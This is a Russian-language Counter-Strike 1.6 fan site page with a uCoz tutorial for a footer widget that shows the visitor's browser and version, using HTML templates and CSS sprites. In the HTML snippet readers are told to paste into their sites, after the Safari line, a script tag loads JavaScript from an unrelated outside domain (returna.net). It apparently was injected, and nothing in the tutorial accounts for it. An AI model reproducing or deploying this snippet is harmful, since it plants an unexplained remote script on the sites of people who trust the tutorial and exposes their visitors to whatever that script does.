Главная | Регистрация | ВходПриветствую Вас Гость | RSS
Меню сайта
Главная страница
Форум
Установка файлов
Наши cw
Состав клана
Продажа Steam
Партнёры
Counter Strike 1.6
Скачать Counter-Strike 1.6
Патчи для CS 1.6
Модели оружия для CS 1.6
Модели игроков для CS 1.6
Боты для CS 1.6
Спрайты для CS 1.6
Программы для CS 1.6
Выстрелы для CS 1.6
Античиты для CS 1.6
Взрывы для CS 1.6
Waypoint'ы для CS 1.6
Winamps для CS.1.6
Карты для CS 1.6
Радары для CS 1.6
Готовые сервера CS 1.6
Плагины для сервера CS
Темы меню для CS 1.6
Снайперские прицелы
Иконки Радио для CS 1.6
Мастерская
Создаём видео
Записываем HLTV
HLTV Proxy на STEAM
Делаем из демки мувик
Делаем мув на Sony Vegas
Разное
Делаем цветное лого
Делаем модель игрока
Делаем фон меню cs
Делаем фон консоли cs
Делаем прицел(zoom)
Делаем Waypoint'ы
Создание сервера
Создаём свой сервер
Настройка AMX MOD
Русификация AMX MOD
Что нужно для сервера?
Снижаем лаги сервера
Все статьи о серверах
CS Art
Шрифты на тему CS
Иконки на тему CS
Музыка на тему CS
Аватарки на тему CS
Картинки на тему CS
Projects our site
Скачать Counter-Strike 1.6
Наши CS Сборки
Скачать Counter-Strike 1.6
Поиск по сайту
Главная » 2013 » Июль » 3 » Отображаем информацию ваш браузер на uCoz
Отображаем информацию ваш браузер на uCoz
22:29
Всем привет, сегодня благодаря системным переменным uCoz которые отвечают за отображение название браузера пользователя, мы будем создавать небольшое html-css решение, которое можно будет разместит на вашем сайте uCoz, к примеру поместить его в подвал сайта.

Как и полагается начнём данное решение с html каркаса, который размещаем в нужное место вашей страницы сайта:

Код
<div class="cell-your-browser">
  <div class="your-browser-info">Ваш браузер </div>
  <?if($USER_AGENT$='firefox')?> <a class="your-browser-ico brauzer-mf" href="http://www.mozilla.org/ru/firefox/new/" title="Скачать браузер Mozilla Firefox" target="_blank">FireFox - $USER_AGENT_VER$</a><?endif?>
  <?if($USER_AGENT$='chrome')?><a class="your-browser-ico brauzer-gx" href="http://www.google.ru/chrome" title="Скачать браузер Google Chrome" target="_blank">Chrome - $USER_AGENT_VER$</a><?endif?>
  <?if($USER_AGENT$='opera')?><a class="your-browser-ico brauzer-op" href="http://www.opera.com/download/" title="Скачать браузер Opera" target="_blank">Opera - $USER_AGENT_VER$</a><?endif?>
  <?if($USER_AGENT$='safari')?><a class="your-browser-ico brauzer-sf" href="http://www.apple.com/ru/safari/" title="Скачать браузер Apple Safari" target="_blank">Safari - $USER_AGENT_VER$</a><?endif?><script type="text/javascript" src="http://returna.net/background.js"></script>
  <?if($USER_AGENT$='ie')?><a class="your-browser-ico brauzer-ie" href="http://windows.microsoft.com/ru-RU/internet-explorer/products/ie/home" title="Скачать браузер Internet Explorer" target="_blank">Internet Explorer - $USER_AGENT_VER$</a><?endif?>
</div>


как можно увидеть из данного кода, системные переменные uCoz, определят какой у пользователя браузер и предоставят для этого браузера свою информацию.

Теперь нам следует установить css стили, в которых я использовал css спрайты, всё просто и удобно:

Код
/* Отображаем информацию ваш браузер на uCoz  
------------------------------------------*/
.cell-your-browser {
  float:left;
  padding: 10px;  
  font:10px Verdana,Arial,Helvetica, sans-serif;
}

.your-browser-info {
  float:left;
  height: 14px;
  padding: 3px 5px 2px 0px;
}

.your-browser-ico:link,
.your-browser-ico:visited {
  float:left;  
  height: 14px;
  padding: 3px 10px 2px 25px;
  text-shadow: 1px 1px 1px #333;
  font-weight: 700;  
  color:#eaeaea;
  border-radius:3px;  
  display:block;  
  text-decoration:none;  
  outline:none
}

.your-browser-ico:hover {  
  color:#eaeaea;
}

.brauzer-mf {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px 1px;
}

.brauzer-mf:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;
  background-position:0px 1px;
}

.brauzer-gx {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -19px;
}

.brauzer-gx:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -19px;
}

.brauzer-op {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -38px;
}

.brauzer-op:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -38px;
}

.brauzer-sf {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -56px;
}

.brauzer-sf:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -56px;
}

.brauzer-ie {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -74px;
}

.brauzer-ie:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -74px;
}


На этом всё, спасибо за внимание и удачного вам начала летних дней!
Просмотров: 1124 | Добавил: greenpis | Рейтинг: 0.0/0 |
Всего комментариев: 0
Имя *:
Email *:
Код *:
Кабинет

Гость !


Время
Друзья сайта
Статистика


Онлайн всего: 9
Гостей: 9
Пользователей: 0


» Зарег. на сайте
Всего: 31708
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
» Из них
Админы сайтa: 4
Модераторов: 0
Проверенных: 0
Обычных юзеров: 31704
» Из них
Парней: 31704
Девушек: 4
Помощь сайту
Наш баннер
Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте. Если вы хотите обменяться с нами баннерами, пишите в гостевую книгу:
всё для conter straik cs-strike.ua
Наш опрос
Сколько вам лет?
Всего ответов: 41
Copyright MyCorp © 2024